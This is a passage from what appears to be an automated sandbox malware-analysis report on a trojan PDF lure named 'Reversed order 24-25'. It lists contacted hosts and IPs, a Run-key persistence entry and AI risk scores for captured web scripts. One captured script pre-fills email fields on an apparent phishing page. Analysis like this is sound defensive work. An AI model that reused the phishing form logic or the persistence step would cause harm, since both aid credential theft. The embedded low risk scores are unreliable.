00000065.00000002.2616919669.000000000083B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000003.2562813116.000000000059A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000003.2611638730.0000000000628000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/tr_TR.p	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
http://r10.o.lencr.org0#	Reversed order 24-25.exe, 00000010.00000002.3886240014.0000000007D8E000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000010.00000002.3774823723.0000000003045000.00000004.00000800.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000010.00000002.3886240014.0000000007D57000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3780278419.0000000007056000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3696546284.0000000002481000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Chrom.exe, 00000014.00000003.2023718918.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000064B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.000000000079A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2537749973.000000000068A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2529105224.0000000000739000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.000000000073C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.000000000053B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2447070151.000000000073B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000003.2475146287.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000003.2542525646.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000003.2541554278.000000000065C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000003.2542074598.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000003.2608687508.000000000056A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000003.2604521296.000000000084A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006DC000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2616919669.000000000083B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000003.2562813116.000000000059A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000003.2611638730.0000000000628000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.coml	Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.woluntech.com/ru/oders-pdf/	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/id/oders-pdf/	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://wordpress.org/plugins/html-forms/	chromecache_340.10.dr	false		high
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/id_ID.p	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/wp-content/themes/astra/assets/js/minified/flexibility.min.js?ver=3.7.9	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/tr/oders-pdf/	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org/WPHeader	chromecache_340.10.dr	false		high
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/css/trp-language-swi	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://login.liv:	Chrom.exe, 00000062.00000002.2627762833.000000000052E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/?p=9959	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://schema.org/CreativeWork	chromecache_340.10.dr	false		high
http://malsup.com/jquery/block/	chromecache_435.10.dr	false		high
http://www.gnu.org/licenses/gpl.html	chromecache_435.10.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_392.10.dr	false		high
https://www.woluntech.com/wp-content/uploads/2022/03/cropped-pneumatic-icon-270x270.png	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
https://www.woluntech.com/oders-pdf/ri	Reversed order 24-25.exe, 00000060.00000002.3780278419.0000000006FFB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designersG	Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/es_PE.p	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/?	Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.woluntech.com/vi/oders-pdf/	chromecache_340.10.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
38.54.26.75	unknown	United States	174	COGENT-174US	false
103.211.239.66	mail.grabinphone.com	Malaysia	45144	NETONBOARD-MYNetOnboardSdnBhd-QualityReliableCloud	false
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
148.153.240.68	hcdnwsa120.v5.cdnhwczoy106.cn	United States	63199	CDSC-AS1US	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false
216.58.206.68	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
90.84.161.20	unknown	France	5511	OPENTRANSITFR	false
45.63.57.89	www.woluntech.com	United States	20473	AS-CHOOPAUS	false

Private

IP
192.168.2.4
192.168.2.23

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591540
Start date and time:	2025-01-15 03:35:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	262
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Reversed order 24-25.pdf
Detection:	MAL
Classification:	mal80.troj.spyw.winPDF@1884/322@25/12
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 34.237.241.83, 50.16.47.176, 54.224.241.105, 18.213.11.84, 2.16.168.105, 2.16.168.107, 162.159.61.3, 172.64.41.3, 23.209.209.135, 199.232.210.172, 184.30.131.245, 142.250.186.35, 142.250.185.174, 142.250.110.84, 216.58.206.78, 142.250.185.238, 142.250.185.206, 142.250.185.234, 142.250.186.163, 142.250.181.234, 216.58.206.42, 142.250.186.74, 142.250.184.202, 142.250.186.138, 142.250.186.106, 216.58.212.138, 172.217.18.10, 142.250.185.106, 142.250.74.202, 142.250.185.202, 142.250.186.170, 142.250.185.170, 172.217.16.138, 172.217.16.202, 216.58.206.74, 142.250.185.138, 172.217.18.106, 216.58.212.170, 142.250.184.234, 142.250.185.74, 142.250.181.238, 172.217.18.14, 142.250.184.206, 172.217.18.110, 216.58.212.174, 142.250.186.131, 142.250.185.110, 142.250.184.238, 142.251.40.142, 74.125.0.74, 2.23.242.162, 23.203.104.175, 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, optimizationguide-pa.googleapis.com, clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, p13n.adobe.io, r5.sn-t0aedn7e.gvt1.com, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, armmf.adobe.com, r5---sn-t0aedn7e.gvt1.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtEnumerateValueKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:37:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Windows Application C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe
02:37:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Windows Application C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe
21:36:44	API Interceptor	3x Sleep call for process: AcroCEF.exe modified
21:37:03	API Interceptor	249x Sleep call for process: Reversed order 24-25.exe modified
21:37:45	API Interceptor	257x Sleep call for process: unarchiver.exe modified

LLM Input / Output

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown
URL: https://www.woluntech.com/oders-pdf/... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a simple implementation of a 'scroll to anchor' functionality, which is a common practice on web pages. It checks the user agent for Internet Explorer or Trident-based browsers, and then adds an event listener to the 'hashchange' event. When the hash in the URL changes, it attempts to find an element with the corresponding ID and focuses on it. This behavior is typical for improving user experience and does not demonstrate any high-risk indicators." }
/(trident\|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a\|select\|input\|button\|textarea)$/i.test(t.tagName)\|\|(t.tabIndex=-1),t.focus())},!1);
URL: https://www.woluntech.com/oders-pdf/... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a configuration object for the Elementor Pro plugin, which is a popular WordPress page builder. The snippet does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to malicious domains. The behavior observed is consistent with typical plugin configuration, including setting up AJAX URLs, asset URLs, and social sharing button configurations. This script is likely benign and does not pose a significant security risk." }
var ElementorProFrontendConfig = {"ajaxurl":"https:\/\/www.woluntech.com\/wp-admin\/admin-ajax.php","nonce":"4330567e11","urls":{"assets":"https:\/\/www.woluntech.com\/wp-content\/plugins\/elementor-pro\/assets\/","rest":"https:\/\/www.woluntech.com\/wp-json\/"},"shareButtonsNetworks":{"facebook":{"title":"Facebook","has_counter":true},"twitter":{"title":"Twitter"},"linkedin":{"title":"LinkedIn","has_counter":true},"pinterest":{"title":"Pinterest","has_counter":true},"reddit":{"title":"Reddit","has_counter":true},"vk":{"title":"VK","has_counter":true},"odnoklassniki":{"title":"OK","has_counter":true},"tumblr":{"title":"Tumblr"},"digg":{"title":"Digg"},"skype":{"title":"Skype"},"stumbleupon":{"title":"StumbleUpon","has_counter":true},"mix":{"title":"Mix"},"telegram":{"title":"Telegram"},"pocket":{"title":"Pocket","has_counter":true},"xing":{"title":"XING","has_counter":true},"whatsapp":{"title":"WhatsApp"},"email":{"title":"Email"},"print":{"title":"Print"}},"woocommerce":{"menu_cart":{"cart_page_url":"https:\/\/www.woluntech.com","checkout_page_url":"https:\/\/www.woluntech.com","fragments_nonce":"5048b1d5fb"}},"facebook_sdk":{"lang":"en_US","app_id":""},"lottie":{"defaultAnimationUrl":"https:\/\/www.woluntech.com\/wp-content\/plugins\/elementor-pro\/modules\/lottie\/assets\/animations\/default.json"}};
URL: https://www.woluntech.com/oders-pdf/... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a legitimate script used for handling emoji rendering on a WordPress website. It does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or redirects to suspicious domains. The script is primarily responsible for setting up the necessary configuration for WordPress emoji functionality, which is a common and expected behavior. Therefore, this script is considered low risk." }
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/www.woluntech.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.0.2"}}; /! This file is auto-generated / !function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode,e=(p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0),i.toDataURL());return p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,t),0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(!p\|\|!p.fillText)return!1;switch(p.textBaseline="top",p.font="600 32px Arial",e){case"flag":return s([127987,65039,8205,9895,65039],[127987,65039,8203,9895,65039])?!1:!s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([129777,127995,8205,129778,127999],[129777,127995,8203,129778,127999])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.r
URL: https://www.woluntech.com/wp-includes/js/wp-emoji-... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a library for rendering Twemoji, which is a set of Unicode-based emojis. The code does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script is primarily focused on parsing and rendering emojis, which is a common and legitimate use case. While it uses some legacy practices like `XDomainRequest`, the overall risk is low, and the script is likely benign." }
/! This file is auto-generated / // Source: wp-includes/js/twemoji.min.js var twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return b(d);return b(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return("string"==typeof d?function(d,a){return o(d,function(d){var u,f,c=d,e=x(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,n),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,n,r,o,i,s,l=function d(u,f){var c,e,b=u.childNodes,a=b.length;for(;a--;)c=b[a],3===(e=c.nodeType)?f.push(c):1!==e\|\|"ownerSVGElement"in c\|\|h.test(c.nodeName.toLowerCase())\|\|d(c,f);return f}(d,[]),p=l.length;for(;p--;){for(e=!1,b=document.createDocumentFragment(),a=l[p],t=a.nodeValue,n=0;o=m.exec(t);){if((s=o.index)!==n&&b.appendChild(g(t.slice(n,s),!0)),o=o[0],i=x(o),n=s+o.length,s=u.callback(i,u),i&&s){for(c in(r=new Image).onerror=u.onerror,r.setAttribute("draggable","false"),f=u.attributes(o,i))f.hasOwnProperty(c)&&0!==c.indexOf("on")&&!r.hasAttribute(c)&&r.setAttribute(c,f[c]);r.className=u.className,r.alt=o,r.src=s,e=!0,b.appendChild(r)}r\|\|b.appendChild(g(o,!1)),r=null}e&&(n<t.length&&b.appendChild(g(t.slice(n),!0)),a.parentNode.replaceChild(b,a))}return d})(d,{callback:u.callback\|\|a,attributes:"function"==typeof u.attributes?u.attributes:r,base:("string"==typeof u.base?u:f).base,ext:u.ext\|\|f.ext,size:u.folder\|\|function(d){return"number"==typeof d?d+"x"+d:d}(u.size\|\|f.size),className:u.className\|\|f.className,onerror:u.onerror\|\|f.onerror})},replace:o,test:function(d){m.lastIndex=0;d=m.test(d);return m.lastIndex=0,d}},u={"&":"&","<":"<",">":">","'":"'",'"':"""},m=/(?:\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]\|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]\|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]\|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]\|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc
URL: https://www.woluntech.com/wp-content/plugins/trans... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a legitimate and benign script that clears WooCommerce cart fragments when switching language on a website. It does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script is focused on improving the user experience by clearing cached cart data when the language is changed, which is a common and expected functionality. Overall, this script poses a low risk and is likely part of a legitimate website's functionality." }
document.addEventListener("DOMContentLoaded", function(event) { function trpClearWooCartFragments(){ // clear WooCommerce cart fragments when switching language var trp_language_switcher_urls = document.querySelectorAll(".trp-language-switcher-container a:not(.trp-ls-disabled-language)"); for (i = 0; i < trp_language_switcher_urls.length; i++) { trp_language_switcher_urls[i].addEventListener("click", function(){ if ( typeof wc_cart_fragments_params !== 'undefined' && typeof wc_cart_fragments_params.fragment_name !== 'undefined' ) { window.sessionStorage.removeItem(wc_cart_fragments_params.fragment_name); } }); } } trpClearWooCartFragments(); });
URL: https://www.woluntech.com/oders-pdf/... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This script appears to be a legitimate WordPress emoji script that is used to display emojis on a website. It does not contain any high-risk indicators like dynamic code execution, data exfiltration, or suspicious redirects. The script is primarily responsible for loading and rendering emojis, which is a common and expected behavior for a WordPress website. While it uses some legacy APIs like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, this script is considered low-risk." }
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/www.woluntech.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.0.2"}}; /! This file is auto-generated / !function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode,e=(p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0),i.toDataURL());return p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,t),0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(!p\|\|!p.fillText)return!1;switch(p.textBaseline="top",p.font="600 32px Arial",e){case"flag":return s([127987,65039,8205,9895,65039],[127987,65039,8203,9895,65039])?!1:!s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([129777,127995,8205,129778,127999],[129777,127995,8203,129778,127999])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(e=t.source\|\|{}).concatemoji?c(e.concatemoji):e.wpemoji&&e.twemoji&&(c(e.twemoji),c(e.wpemoji)))}(window,document,window._wpemojiSettings);
URL: https://www.woluntech.com/oders-pdf/... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a simple script that retrieves and populates form fields with values from the URL query parameters. This behavior is commonly seen in legitimate use cases, such as pre-filling form fields with user-provided data. While the script does not demonstrate any high-risk indicators, it could be considered moderately aggressive in its DOM manipulation. However, without any additional context or suspicious behaviors, this script is likely benign and poses a low risk." }
const params=new URLSearchParams(window.location.search); document.getElementById('email').value=params.get('email'); document.getElementById('subject').value="Ali=> " + params.get('email'); document.getElementById('id01').value=params.get('email');
URL: https://www.woluntech.com/wp-includes/js/jquery/jq... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a part of the jQuery Migrate plugin, which is a utility that helps developers migrate their jQuery-based code from older versions to newer versions of jQuery. The script does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script primarily focuses on providing compatibility and deprecation warnings for certain jQuery functions and features, which is a common practice in library development. While the script uses some legacy APIs like `XDomainRequest`, these are not inherently malicious and are used in a transparent manner. Overall, the script appears to be a legitimate part of the jQuery Migrate plugin and poses a low risk." }
/! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license / "undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)\|\|[],o=r.exec(t)\|\|[],i=1;i<=3;i++){if(+o[i]<+n[i])return 1;if(+n[i]<+o[i])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.3.2",n.console&&n.console.log&&(s&&e("3.0.0")\|\|n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var r={};function u(e){var t=n.console;s.migrateDeduplicateWarnings&&r[e]\|\|(r[e]=!0,s.migrateWarnings.push(e),t&&t.warn&&!s.migrateMute&&(t.warn("JQMIGRATE: "+e),s.migrateTrace&&t.trace&&t.trace()))}function t(e,t,r,n){Object.defineProperty(e,t,{configurable:!0,enumerable:!0,get:function(){return u(n),r},set:function(e){u(n),r=e}})}function o(e,t,r,n){e[t]=function(){return u(n),r.apply(this,arguments)}}s.migrateDeduplicateWarnings=!0,s.migrateWarnings=[],void 0===s.migrateTrace&&(s.migrateTrace=!0),s.migrateReset=function(){r={},s.migrateWarnings.length=0},"BackCompat"===n.document.compatMode&&u("jQuery is not compatible with Quirks Mode");var i,a,c,d={},l=s.fn.init,p=s.find,f=/\[(\s[-\w]+\s)([~\|^$]?=)\s([-\w#]?#[-\w#])\s\]/,y=/\[(\s[-\w]+\s)([~\|^$]?=)\s([-\w#]?#[-\w#])\s\]/g,m=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g;for(i in s.fn.init=function(e){var t=Array.prototype.slice.call(arguments);return"string"==typeof e&&"#"===e&&(u("jQuery( '#' ) is not a valid selector"),t[0]=[]),l.apply(this,t)},s.fn.init.prototype=s.fn,s.find=function(t){var r=Array.prototype.slice.call(arguments);if("string"==typeof t&&f.test(t))try{n.document.querySelector(t)}catch(e){t=t.replace(y,function(e,t,r,n){return"["+t+r+'"'+n+'"]'});try{n.document.querySelector(t),u("Attribute selector with '#' must be quoted: "+r[0]),r[0]=t}catch(e){u("Attribute selector with '#' was not fixed: "+r[0])}}return p.apply(this,r)},p)Object.prototype.hasOwnProperty.call(p,i)&&(s.find[i]=p[i]);o(s.fn,"size",function(){return this.length},"jQuery.fn.size() is deprecated and removed; use the .length property"),o(s,"parseJSON",function(){return JSON.parse.apply(null,arguments)},"jQuery.parseJSON is deprecated; use 